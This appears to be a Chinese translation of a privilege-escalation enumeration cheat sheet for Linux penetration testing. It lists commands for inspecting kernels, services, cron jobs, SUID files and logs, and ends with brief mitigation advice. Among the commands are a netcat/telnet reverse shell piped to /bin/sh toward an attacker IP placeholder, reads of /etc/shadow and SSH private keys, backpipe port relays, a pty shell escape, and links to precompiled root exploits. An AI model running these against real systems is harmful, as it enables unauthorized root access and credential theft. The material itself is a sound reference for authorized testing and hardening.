原文链接:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

基本Linux权限提升

枚举是关键。

(Linux)权限升级就是:

  • 收集 - 枚举,更多枚举和更多枚举。
  • 流程 - 对数据进行排序,分析和确定优先级。
  • 搜索 - 了解要搜索的内容以及在何处查找漏洞利用代码。
  • 适应 - 自定义漏洞利用,因此适合。并非每个漏洞利用都适用于每个系统“开箱即用”。
  • 尝试 - 为(大量)试验和错误做好准备。

操作系统

什么是分销类型?什么版本?

cat /etc/issue 
cat /etc/*-release   
cat /etc/lsb-release      # Debian based   
cat /etc/redhat-release   # Redhat based 

什么是内核版本?是64位吗?

cat /proc/version 
uname -a 
uname -mrs 
rpm -q kernel 
dmesg | grep Linux 
ls /boot | grep vmlinuz- 

从环境变量中可以学到什么?

cat /etc/profile 
cat /etc/bashrc 
cat ~/.bash_profile 
cat ~/.bashrc 
cat ~/.bash_logout 
env 
set

有打印机吗?

lpstat -a

应用与服务

正在运行什么服务?哪个服务具有哪个用户权限?

ps aux 
ps -ef 
top 
cat /etc/services

root运行了哪些服务?在这些易受攻击的服务中,值得仔细检查!

ps aux | grep root 
ps -ef | grep root

安装了哪些应用程序?它们是什么版本的?他们目前正在运行吗?

ls -alh /usr/bin/ 
ls -alh /sbin/ 
dpkg -l 
rpm -qa 
ls -alh /var/cache/apt/archivesO 
ls -alh /var/cache/yum/

任何服务设置配置错误?是否附加了任何(易受攻击的)插件?

cat /etc/syslog.conf 
cat /etc/chttp.conf 
cat /etc/lighttpd.conf 
cat /etc/cups/cupsd.conf 
cat /etc/inetd.conf 
cat /etc/apache2/apache2.conf 
cat /etc/my.conf 
cat /etc/httpd/conf/httpd.conf 
cat /opt/lampp/etc/httpd.conf 
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 

安排了哪些工作?

crontab -l 
ls -alh /var/spool/cron 
ls -al /etc/ | grep cron 
ls -al /etc/cron* 
cat /etc/cron* 
cat /etc/at.allow 
cat /etc/at.deny 
cat /etc/cron.allow 
cat /etc/cron.deny 
cat /etc/crontab 
cat /etc/anacrontab 
cat /var/spool/cron/crontabs/root

任何纯文本用户名和/或密码?

grep -i user [filename] 
grep -i pass [filename] 
grep -C 5 "password" [filename] 
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

通信与网络

系统有哪些NIC?它是否连接到另一个网络?

/sbin/ifconfig -a 
cat /etc/network/interfaces 
cat /etc/sysconfig/network

什么是网络配置设置?你能从这个网络中找到什么?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf 
cat /etc/sysconfig/network 
cat /etc/networks 
iptables -L 
hostname 
dnsdomainname

其他用户和主机与系统进行通信的是什么?

lsof -i 
lsof -i :80 
grep 80 /etc/services 
netstat -antup 
netstat -antpx 
netstat -tulpn 
chkconfig --list 
chkconfig --list | grep 3:on 
last 
w

什么缓存?IP和/或MAC地址

arp -e 
route 
/sbin/route -nee

数据包嗅探可能吗?可以看到什么

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

注意:tcpdump tcp dst [ip] [port]和tcp dst [ip] [port]

你有壳吗?你能和系统互动吗?

nc -lvp 4444    # Attacker. Input (Commands) 
nc -lvp 4445    # Attacker. Ouput (Results) 
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # On the targets system. Use the attackers IP! `

注意:http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

端口转发可能吗?重定向并与来自其他视图的流量进行交互

注意:http://www.boutell.com/rinetd/

注意:http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

注意:http://downloadcenter.mcafee.com/products/tools/foundstone/fpipe2_1.zip

注意:FPipe.exe -l [本地端口] -r [远程端口] -s [本地端口] [本地IP]

FPipe.exe -l 80 -r 80 -s 80 192.168.1.7

注意:ssh - [L / R] [本地端口]:[远程ip]:[远程端口] [本地用户] @ [本地ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port 
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port 

注意:mknod backpipe p; nc -l -p [远程端口] <backpipe | nc [本地IP] [本地端口]>反向管道

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080) 
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080) 

隧道可能吗?远程本地发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip] 
proxychains ifconfig 

机密信息和用户

你是谁?谁登录?谁已登录?那里还有谁?谁能做什么?

id 
who 
w 
last 
cat /etc/passwd | cut -d: -f1    # List of users 
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users 
awk -F: '($3 == "0") {print}' 
/etc/passwd   # List of super users cat /etc/sudoers 
sudo -l

可以找到哪些敏感文件?

cat /etc/passwd 
cat /etc/group 
cat /etc/shadow 
ls -alh /var/mail/

家庭导演中有什么“有趣”的东西?如果可以访问

ls -ahlR /root/ 
ls -ahlR /home/

是否有密码; 脚本,数据库,配置文件或日志文件?密码的默认路径和位置

cat /var/apache2/config.inc 
cat /var/lib/mysql/mysql/user.MYD 
cat /root/anaconda-ks.cfg

用户正在做什么?是否有明文密码?他们在编辑什么?

cat ~/.bash_history 
cat ~/.nano_history 
cat ~/.atftp_history 
cat ~/.mysql_history 
cat ~/.php_history

可以找到哪些用户信息?

cat ~/.bashrc 
cat ~/.profile 
cat /var/mail/root 
cat /var/spool/mail/root

可以找到私钥信息吗?

cat ~/.ssh/authorized_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id_rsa.pub 
cat ~/.ssh/id_rsa 
cat ~/.ssh/id_dsa.pub 
cat ~/.ssh/id_dsa 
cat /etc/ssh/ssh_config 
cat /etc/ssh/sshd_config 
cat /etc/ssh/ssh_host_dsa_key.pub 
cat /etc/ssh/ssh_host_dsa_key 
cat /etc/ssh/ssh_host_rsa_key.pub 
cat /etc/ssh/ssh_host_rsa_key 
cat /etc/ssh/ssh_host_key.pub 
cat /etc/ssh/ssh_host_key `

文件系统

哪些配置文件可以写在/ etc /中?能够重新配置服务吗?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone 
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner 
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group 
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other  
find /etc/ -readable -type f 2>/dev/null               # Anyone 
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone `

在/ var /中可以找到什么?

ls -alh /var/log 
ls -alh /var/mail 
ls -alh /var/spool 
ls -alh /var/spool/lpd 
ls -alh /var/lib/pgsql 
ls -alh /var/lib/mysql 
cat /var/lib/dhcp3/dhclient.leases

网站上的任何设置/文件(隐藏)?有数据库信息的任何设置文件?

ls -alhR /var/www/ 
ls -alhR /srv/www/htdocs/ 
ls -alhR /usr/local/www/apache22/data/ 
ls -alhR /opt/lampp/htdocs/ 
ls -alhR /var/www/html/

日志文件中是否有任何内容(可以帮助“本地文件包含”!)

cat /etc/httpd/logs/access_log 
cat /etc/httpd/logs/access.log 
cat /etc/httpd/logs/error_log 
cat /etc/httpd/logs/error.log 
cat /var/log/apache2/access_log 
cat /var/log/apache2/access.log 
cat /var/log/apache2/error_log 
cat /var/log/apache2/error.log 
cat /var/log/apache/access_log 
cat /var/log/apache/access.log 
cat /var/log/auth.log 
cat /var/log/chttp.log 
cat /var/log/cups/error_log 
cat /var/log/dpkg.log 
cat /var/log/faillog 
cat /var/log/httpd/access_log 
cat /var/log/httpd/access.log 
cat /var/log/httpd/error_log 
cat /var/log/httpd/error.log 
cat /var/log/lastlog 
cat /var/log/lighttpd/access.log 
cat /var/log/lighttpd/error.log 
cat /var/log/lighttpd/lighttpd.access.log 
cat /var/log/lighttpd/lighttpd.error.log 
cat /var/log/messages 
cat /var/log/secure 
cat /var/log/syslog 
cat /var/log/wtmp 
cat /var/log/xferlog 
cat /var/log/yum.log 
cat /var/run/utmp 
cat /var/webmin/miniserv.log 
cat /var/www/logs/access_log 
cat /var/www/logs/access.log 
ls -alh /var/lib/dhcp3/ 
ls -alh /var/log/postgresql/ 
ls -alh /var/log/proftpd/ 
ls -alh /var/log/samba/  
Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp `

注:http://www.thegeekstuff.com/2011/08/linux-var-log-files/

如果命令有限,你会打破“监狱”外壳?

python -c 'import pty;pty.spawn("/bin/bash")' echo os.system('/bin/bash') /bin/sh -i

如何安装文件系统?

mount df -h

是否有任何未安装的文件系统?

cat /etc/fstab

使用了什么“高级Linux文件权限”?

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

哪里可以写入和执行?一些常见的地方:/ tmp,/ var / tmp,/ dev / shm

find / -writable -type d 2>/dev/null      # world-writeable folders 
find / -perm -222 -type d 2>/dev/null     # world-writeable folders 
find / -perm -o w -type d 2>/dev/null     # world-writeable folders  
find / -perm -o x -type d 2>/dev/null     # world-executable folders  
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

任何“问题”文件?可写字,“无人”文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

准备和寻找利用代码

安装/支持哪些开发工具/语言?

find / -name perl* 
find / -name python*  
find / -name gcc* 
find / -name cc

如何上传文件?

find / -name 
wget 
find / -name nc* 
find / -name netcat* 
find / -name tftp* 
find / -name ftp

查找漏洞利用代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

查找有关该漏洞利用的更多信息

http://www.cvedetails.com

http://packetstormsecurity.org/files/cve/[CVE]
http://cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
http://www.vulnview.com/cve-details.php?cvename=[CVE]

(快速)“常见”漏洞。警告。预编译的二进制文件。使用风险由您自己承担

http://web.archive.org/web/20111118031158/http://tarantula.by.ru/localroot/

http://www.kecepatan.66ghz.com/file/local-root-exploit-priv9/

缓解措施

上述任何信息都很容易找到吗?

试试吧!设置一个自动执行脚本和/或第三方产品的cron作业

系统是否完全打补丁?

内核,操作系统,所有应用程序,插件和Web服务

apt-get update && apt-get upgrade yum update

服务是否以最低权限级别运行?

例如,您是否需要以root身份运行MySQL?

脚本任何一个都可以自动化吗?!

http://pentestmonkey.net/tools/unix-privesc-check/

http://labs.portcullis.co.uk/application/enum4linux/

http://bastille-linux.sourceforge.net





# 渗透测试  

tocToc: